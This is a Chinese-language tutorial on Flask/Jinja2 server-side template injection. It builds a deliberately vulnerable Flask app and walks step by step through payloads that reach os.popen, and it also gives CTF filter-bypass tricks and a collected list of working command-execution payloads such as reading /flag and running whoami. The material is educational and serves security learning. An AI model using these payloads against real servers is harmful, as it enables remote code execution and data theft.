温馨提示:本文篇幅较长,推荐关注后收藏根据目录多次观看
一、python_SSTI 模板注入介绍
ssti 漏洞成因
模板引擎
什么是服务端模板注入
flask 环境本地搭建 (略详)
route 装饰器路由
main 入口
模板渲染(重点)
flask 实战
flask 漏洞成因
本地环境进一步分析
ctf 中的一些绕过 tips
漏洞挖掘
二、SSTI 的 payload 构造思路
1. 内置的方法和属性
2. 原理
3.payload 的收集
ssti 服务端模板注入,ssti 主要为 python 的一些框架 jinja2 mako tornado django,PHP 框架 smarty twig,java 框架 jade velocity 等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对 flask 模板注入进行浅析。
首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML 代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的 HTML 字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。
前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是 json 等数据包封装的数据,也可能是 html 代码,他都是由浏览器前端来解析渲染成 html 的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。
让我们用例子来简析模板渲染。
<html>
<div>{$what}</div>
</html>
我们想要呈现在每个用户面前自己的名字。但是 {$what} 我们不知道用户名字是什么,用一些 url 或者 cookie 包含的信息,渲染到 what 变量里,呈现给用户的为
<html>
<div>张三</div>
</html>
当然这只是最简单的示例,一般来说,至少会提供分支,迭代。还有一些内置函数。
通过模板,我们可以通过输入转换成特定的 HTML 文件,比如一些博客页面,登陆的时候可能会返回 hi, 张三。这个时候张三可能就是通过你的身份信息而渲染成 html 返回到页面。通过 Twig php 模板引擎来做示例。
$output = $twig->render( $_GET[‘custom_email’] , array(“first_name” => $user.first_name) );
可能你发现了它存在 XSS 漏洞,直接输入 XSS 代码便会弹窗,这没错,但是仔细观察,其他由于代码不规范他还存在着更为严重的 ssti 漏洞,假设我们的「url:xx.xx.xx/?custom_email={{7*7} }将会返回 49
我们继续 custom_email={{self} }
<templatereference none=""></templatereference>
是的,在 {{}}
里,他将我们的代码进行了执行。服务器将我们的数据经过引擎解析的时候,进行了执行,模板注入与 sql 注入成因有点相似,都是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。接下来我们会讲到重点。敲黑板。
flask 环境本地搭建 (略详)
搭建 flask 我选择了 pycharm,学生的话可以免费下载专业版。下载安装这一步我就不说了。
环境:python 3.6+
基础:0-
简单测试
pycharm 安装 flask 会自动导入了 flask 所需的模块,所以我们只需要命令安装所需要的包就可以了,建议用 python3.6 学习而不是 2.X,毕竟 django 的都快要不支持 2.X 了,早换早超生。自动导入的也是 python 3.6。
运行这边会出小错,因为此时我们还没有安装 flask 模块,
这样就可以正常运行了,运行成功便会返回
* Debug mode: off
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [14/Dec/2018 20:32:20] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [14/Dec/2018 20:32:20] "GET /favicon.ico HTTP/1.1" 404 -
此时可以在 web 上运行 hello world 了,访问 http://127.0.0.1:5000 便可以看到打印出 Hello World
route 装饰器路由
@app.route('/')
使用 route()装饰器告诉 Flask 什么样的 URL 能触发我们的函数.route()装饰器把一个函数绑定到对应的 URL 上,这句话相当于路由,一个路由跟随一个函数,如
@app.route('/')
def test()"
return 123
访问 127.0.0.1:5000 / 则会输出 123,我们修改一下规则
@app.route('/test')
def test()"
return 123
这个时候访问 127.0.0.1:5000/test 会输出 123.
此外还可以设置动态网址,
@app.route("/hello/<username>")
def hello_user(username):
return "user:%s"%username
根据 url 里的输入,动态辨别身份,此时便可以看到如下页面:
或者可以使用 int 型,转换器有下面几种:
int 接受整数float 同 int ,但是接受浮点数path 和默认的相似,但也接受斜线@app.route('/post/<int:post_id>')def show_post(post_id): # show the post with the given id, the id is an integer return 'Post %d' % post_id
main 入口
当.py 文件被直接运行时,if name == ‘main‘之下的代码块将被运行;当.py 文件以模块形式被导入时,if name == ‘main‘之下的代码块不被运行。如果你经常以 cmd 方式运行自己写的 python 小脚本,那么不需要这个东西,但是如果需要做一个稍微大一点的 python 开发,写 if name ==’main__’ 是一个良好的习惯,大一点的 python 脚本要分开几个文件来写,一个文件要使用另一个文件,也就是模块,此时这个 if 就会起到作用不会运行而是类似于文件包含来使用。
if __name__ == '__main__':
app.debug = True
app.run()
测试的时候,我们可以使用 debug,方便调试,增加一句
app.debug = True
或者(效果是一样的)
app.run(debug=True)
这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加 debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。
app.run(host='0.0.0.0')
这会让操作系统监听所有公网 IP, 此时便可以在公网上看到自己的 web。
模板渲染(重点)
你可以使用 render_template () 方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。这里有一个展示如何渲染模板的简例:
简单的模版渲染示
from flask import render_template
@app.route('/hello/')
@app.route('/hello/<name>')def hello(name=None):
return render_template('hello.html', name=name)//我们hello.html模板未创建所以这段代码暂时供观赏,不妨往下继续看
我们从模板渲染开始实例,因为我们毕竟不是做开发的,flask 以模板注入闻名 - -!,所以我们先从 flask 模版渲染入手深入剖析。
首先要搞清楚,模板渲染体系,render_template 函数渲染的是 templates 中的模板,所谓模板是我们自己写的 html,里面的参数需要我们根据每个用户需求传入动态变量。
├── app.py ├── static │ └── style.css └── templates └── index.html
我们写一个 index.html 文件写 templates 文件夹中。
<html>
<head>
<title>{{title}} - 小猪佩奇</title>
</head>
<body>
<h1>Hello,{{user.name}}!</h1>
</body>
</html>
里面有两个参数需要我们渲染,user.name,以及 title
我们在 app.py 文件里进行渲染。
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转def index():
user = {'name': '小猪佩奇'}#传入一个字典数组
return render_template("index.html",title='Home',user=user)
Image 这次渲染我们没有使用用户可控,所以是安全的,如果我们交给用户可控并且不过滤参数就有可能造成 SSTI 模板注入漏洞。
flask 实战
此时我们环境已经搭建好了,可以进行更深一步的讲解了,以上好像我们讲解使用了 php 代码为啥题目是 flask 呢,没关系我们现在进入重点!!!–》》flask/jinja2 模版注入
Flask 是一个使用 Python 编写的轻量级 web 应用框架,其 WSGI 工具箱采用 Werkzeug,模板引擎则使用 Jinja2。这里我们提前给出漏洞代码。访问 http://127.0.0.1:5000/test 即可
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error"> <h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
'''
%(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
flask 漏洞成因
为什么说我们上面的代码会有漏洞呢,其实对于代码功底比较深的师傅,是不会存在 ssti 漏洞的,被一些偷懒的师傅简化了代码,所以造成了 ssti。上面的代码我们本可以写成类似如下的形
<html>
<head>
<title>{{title}} - 小猪佩奇</title>
</head>
<body>
<h1>Hello, {{user.name}}!</h1>
</body>
</html>
里面有两个参数需要我们渲染,user.name,以及 title
我们在 app.py 文件里进行渲染。
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
return render_template("index.html",title='Home',user=request.args.get("key"))
也就是说,两种代码的形式是,一种当字符串来渲染并且使用了 %(request.url),另一种规范使用 index.html 渲染文件。我们漏洞代码使用了 render_template_string 函数,而如果我们使用 render_template 函数,将变量传入进去,现在即使我们写成了 request,我们可以在 url 里写自己想要的恶意代码 {{}} 你将会发现如下:
即使 username 可控了,但是代码已经并不生效,并不是你错了,是代码对了。这里问题出在,良好的代码规范,使得模板其实已经固定了,已经被 render_template 渲染了。你的模板渲染其实已经不可控了。而漏洞代码的问题出在这里
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
注意 %(request.url),程序员因为省事并不会专门写一个 html 文件,而是直接当字符串来渲染。并且 request.url 是可控的,这也正是 flask 在 CTF 中经常使用的手段,报错 404,返回当前错误 url,通常 CTF 的 flask 如果是 ssti,那么八九不离十就是基于这段代码,多的就是一些过滤和一些奇奇怪怪的方法函数。现在你已经明白了 flask 的 ssti 成因以及代码了。接下来我们进入实战。
本地环境进一步分析
上面我们已经放出了漏洞代码无过滤版本。现在我们深究如何利用 ssti 攻击。
现在我们已经知道了在 flask 中 {{}} 里面的代码将会执行。那么如何利用对于一个 python 小白可能还是一头雾水,如果之前没有深入学习过 python,那么接下来可以让你对于 poc 稍微有点了解。进入正题。
在 python 中,object 类是 Python 中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承 object 类。我们从这段话出发,假定你已经知道 ssti 漏洞了,但是完全没学过 ssti 代码怎么写,接下来你可能会学到一点废话。
我们在 pycharm 中运行代码
print("".__class__)
返回了 <class ‘str’>,对于一个空字符串他已经打印了 str 类型,在 python 中,每个类都有一个 bases 属性,列出其基类。现在我们写代码。
print("".__class__.__bases__)
打印返回 (<class ‘object’>,),我们已经找到了他的基类 object,而我们想要寻找 object 类的不仅仅只有 bases,同样可以使用 mro,mro 给出了 method resolution order,即解析方法调用的顺序。我们实例打印一下 mro。
print("".__class__.__mro__)
可以看到返回了 (<class ‘str’>, <class ‘object’>),同样可以找到 object 类,正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。正如上面的解释,mro 返回了解析方法调用的顺序,将会打印两个。在 flask ssti 中 poc 中很大一部分是从 object 类中寻找我们可利用的类的方法。我们这里只举例最简单的。接下来我们增加代码。接下来我们使用 subclasses,subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是 object 类的子类的集合。
print("".__class__.__bases__[0].__subclasses__())
python 3.6 版本下的 object 类下的方法集合。这里要记住一点 2.7 和 3.6 版本返回的子类不是一样的,但是 2.7 有的 3.6 大部分都有。需要自己寻找合适的标号来调用接下来我将进一步解释。打印如下:
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partialmethod'>, <class 'enum.auto'>, <enum 'Enum'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_sre.SRE_Pattern'>, <class '_sre.SRE_Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_winapi.Overlapped'>, <class 'subprocess.STARTUPINFO'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
接下来就是我们需要找到合适的类,然后从合适的类中寻找我们需要的方法。这里开始我们不再用 pycharm 打印了,直接利用上面我们已经搭建好的漏洞环境来进行测试。通过我们在如上这么多类中一个一个查找,找到我们可利用的类,这里举例一种。<class ‘os._wrap_close’>,os 命令相信你看到就感觉很亲切。我们正是要从这个类中寻找我们可利用的方法,通过大概猜测找到是第 119 个类,0 也对应一个类,所以这里写 [118]。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118]}}
这个时候我们便可以利用.init.globals 来找 os 类下的,init 初始化类,然后 globals 全局来查找所有的方法及变量及参数。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__}}
此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的 function popen,在 python2 中可找 file 读取文件,很多可利用方法,详情可百度了解下。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}}
此时便可以看到命令已经执行。如果是在 linux 系统下便可以执行其他命令。此时我们已经成功得到权限。进下来我们将进一步简单讨论如何进行沙箱逃逸。
ctf 中的一些绕过 tips
没什么系统思路。就是不断挖掘类研究官方文档以及各种能够利用的姿势。这里从最简单的绕过说起。
过滤 [] 等括号
使用 gititem 绕过。
如原 poc {{””.class.bases[0]}}
绕过后 {{””.class.bases.getitem(0)}}
过滤了 subclasses,拼凑法
原 poc{{””.class.bases[0].subclasses()}}
绕过 {{””.class.bases[0]‘subcla’+’sses‘}}
过滤 class
使用 session
poc{{session[‘cla’+’ss‘].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}
多个 bases [0] 是因为一直在向上找 object 类。使用 mro 就会很方便
{{session['__cla'+'ss__'].__mro__[12]}}
或者
request['__cl'+'ass__'].__mro__[12]}}
timeit 姿势
可以学习一下 2017 swpu-ctf 的一道沙盒 python 题,
这里不详说了,博大精深,我只意会一
import timeittimeit.timeit("__import__('os').system('dir')",number=1)import platformprint platform.popen('dir').read()
收藏的一些 poc
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}
漏洞挖掘
对于一些师傅可能更偏向于实战,但是不幸的是实战中几乎不会出现 ssti 模板注入
,或者说很少,大多出现在 python 的 ctf 中。但是我们还是理性分析下。
每一个(重)模板引擎都有着自己的语法(点),Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。更改请求参数使之承载含有模板引擎语法的 Payload, 通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,不同的引擎不同的解析。所以我们在挖掘之前有必要对网站的 web 框架进行检查,否则很多时候 {{}}
并没有用,导致错误判断。
接下来附张图,实战中要测试重点是看一些 url 的可控,比如 url 输入什么就输出什么。前期收集好网站的开发语言以及框架,防止错误利用 {{}}
而导致错误判断。如下图较全的反映了 ssti 的一些模板渲染引擎及利用。
文章知识点与官方知识档案匹配,可进一步学习相关知识
二、SSTI 的 payload 构造思路
1. 内置的方法和属性
有些对象类型内置了一些可读属性,它们不会被 dir () 列举出来。
属性 / 方法 描述 instance.class 类实例所属的类类对象(类也是对象)的基类元组 class.bases 类对象(类也是对象)的基类元组 definition.name 类、函数、方法、描述符或生成器实例的名称。 class.mro 此属性是在方法解析期间查找基类时考虑的类元组。 class.subclasses() 每个类都保留一个对其直接子类的弱引用列表。此方法返回所有仍然存活的引用的列表。该列表按定义顺序排列。 module.dict 包含模块的符号表的字典,包括标识符名称和它的引用 builtins 一般被模块作为全局变量提供,它的值或者是 builtins 模块的引用,或者是则这个模块的__dict__属性。如果是 builtins 模块,该模块提供 Python 的所有 “内置” 标识符的直接访问,例如 open 函数 builtins.open ()。这个变量在定义与内置函数同名的模块有用处,可以通过它访问内置的同名函数。另外,还可以通过它修改某些标识符的作用。
判断一个模块是否有_builtins_
:__builtins__变量是对 builtins 模块的引用,在 sys 模块导入了 builtins 模块的,sys 模块是由 Python/sysmodule.c 编译的,也就是说当一个模块直接或间接(导入的模块里面)导入了 sys 模块。sys 模块是由 c 程序编译的,但它没有__builtins__变量。
__builtins__的值是当前模块引用的 builtins 模块:
__builtins__
<module 'builtins' (built-in)>
module.__builtins__的值是指定模块的所有标识符的字典,与__dict__相比,除了变量,还多出了其它标识符,例如:
os.__builtins__['TimeoutError']
<class 'TimeoutError'>
属性 / 方法 描述 import() 内置函数,它在 importlib 包下的_bootstrap 模块下定义的__import__() 方法的实现,在程序运行开始时,这个包就被导入,所以这个方法也被导入当成内置函数。method._ globals_ 在指定的方法处的全局命名空间(等同于 dir (), globals ())。method 不能是内置的方法名,而是自己定义或者重写的,重写的__init__也算。 object.new(cls[…]) 对象的内置方法,创建新实例时自动调用,用以定制实例的创建过程。传入对象所属的类,其余参数是构造器的参数相同,这个方法返回一个实例,只有这个方法返回实例,对象内置的_init_() 才会被调用。 object.init(self[…]) 对象的内置方法,new() 之后,给调用者返回实例之前调用。如果基类有自定义的__init__(),那么添加 super ().init([…]),对基类部分进行初始化。这个方法返回的值只能是 None,否则会引发 TypeError。Python 本质上是动态的,而不是静态的。虚拟机具有变量的可寻址命名空间,而不是编译后的对象代码中的符号表。 dir()/dir(module) 返回在该点的有效命名空间,返回一个字典,每个键值对对应一个变量和它的值, globals() 返回变量名和它的变量值的字典,这些变量在作用域中是视为全局的。 locals() 返回变量名和它的变量值的字典,这些变量在作用域中是视为局部的。
2. 原理
SSTI 的原理是服务器端接收了用户可控的数据,将其作为参数值传入模板引擎,如果这些数据是 python 代码的字符串,就会被当成代码来执行。
模板引擎解析的文本类似于这样的:
{{ 4*2 }}
{{}}
是模板表达式,它将执行里面的表达式内容,并输出。所以上面的结果为:
<h1>8</h1>
如果我们可以在文本传入给模板引擎解析之前,对文本进行修改,那么在它里面增加模板表达式等其它能执行 python 代码的模板语法,就会造成代码注入。例如
text = "<h1>%s<>" % input
render_template_string(text)
input 可控,注入模板表达式,并在里面增加代码:
input = "{{ 7*2 }}"
text 变成:
text = "<h1>{{ 7*2 }}</h1>"
然后再传入模板引擎解析:
render_template_string(text)
如何利用
首先构造一个能执行函数的 payload,这里的函数可以是任何自己想要的功能,比如想执行系统命令,可以调用 popen (),subprocess () 等等;想读取文件,可以调用 open () 函数。
(1)不管最终想执行什么函数,payload 前面的一部分一般都是想拿到基类 object 的所有子类:
''.__class__.__base__.__subclasses__()
解释:
「‘’是一个对象,class__是这个对象所属的类,__base__是指定类的基类(父类),__subclasses() 是 Object 类的静态方法,返回它的所有子类,包含在一个字典中,键是类名,值是类的引用。」
(2)现在我们拿到了所有继承 Object 类的子类的引用,在调用这些子类的方法时,如果命名空间没有这个类,解析器就会尝试导入包含这个类的模块,例如有个子类叫 os._AddedDllDirectory:
''.__class__.__base__.__subclasses__()[139]
<class 'os._AddedDllDirectory>
os 就是它的模块名,解析器就会尝试去加载并执行 os 模块的代码,但不会把 os 这个变量放进命名空间中(说到底,import os 的 os 变量保存是模块的地址,换句话说,命名空间保存的是存储地址的变量,这个地址有可能指向一个值,一个类,一个函数,或者一个模块,总之是一块代码的首地址)。
(3)在解析器加载并执行某个模块的代码时,例如 os 模块的代码,里面又导入了其它的模块 (import sys),这些模块与 os 定义了一些变量,函数和类,解析器把它们添加到当前的命名空间,接下来通过__globals__获得当前的命名空间,不过它需要一个方法作为调用者,这里我们选一些魔术方法,因为它们的方法名固定,例如__init__、__enter__或__exit__等等。
再补充 payload:
''.__class__.__base__.__subclasses__()[139].__init__.__globals__
(4)因为 os 模块的执行,导致 sys 模块的导入 (import sys),也就是说当前的命名空间有了 sys 这个变量,它保存了 sys 模块的地址,通过这个变量可以调用它里面(与变量绑定在一起)的方法、类等成员,sys 模块里面有个 modules 字典,它保存的是已加载模块「已加载但未必在命名空间有对应的变量」的名称与其地址的映射。
「还可以通过给 sys.modules 这个字典加入元素,以强制加载某个模块。」
''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os']
(5)拿到 os 模块的地址后,就可以使用里面的方法了,其中有个 popen 方法就是想利用的方法,通过它执行 shell 命令:
''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os'].popen('ls')
''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os'].popen('ls')
<os._wrap_close object at 0x000001E29281A580>
(6)popen () 返回一个输出流,通过 read () 读取里面的数据:
''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os'].popen('ls').read()
总结利用思路
(1)明确要利用的目标函数;
(2)找到目标函数被定义的位置,哪个模块(目标模块),或者哪个类(目标类)。
(3)构造前一部分 payload,大部分思路是固定的,目的是拿到所有 Object 类的子类。
(4)这些子类很多没有加载,调用它们里面显式定义的方法,解析器就会加载并执行这个模块,如果模块刚好存在目标函数,就跳到第六步。(直接找到目标函数)
(5)如果第五步加载的模块没有目标函数,就考虑在被加载模块中存在导入目标模块的 import 语句。(间接导入)
(6)导入了目标函数或者目标模块后,在当前的命名空间就存在它们的变量,接下来就通过这些变量作为调用者,调用目标函数。
「一般来说,可以利用的函数有:open(), popen(), subprocess(), system()」
总之,构造 payload 的思路是曲折的,能利用的属性、变量、函数、类等成员很多,调用过程曲折,自由发挥的空间比较大。附带脚本
用于搜索想利用的目标函数所在的类
search = 'popen'
num = -1
for c in ''.__class__.__base__.__subclasses__()
num += 1
try:
if search in c.__init__.globals__.keys():
print(c, num)
except:
pass
3.payload 的收集
{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("cat /flag").read()}}// os._wrap_close类中的popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
// __import__方法
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
// __builtins__
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
// Jinja2创建的url_for()方法
{{url_for.__globals__.os.popen("cat /flag").read()}}
排版:淡阳
作者:uf9n1x(讯岚技术部)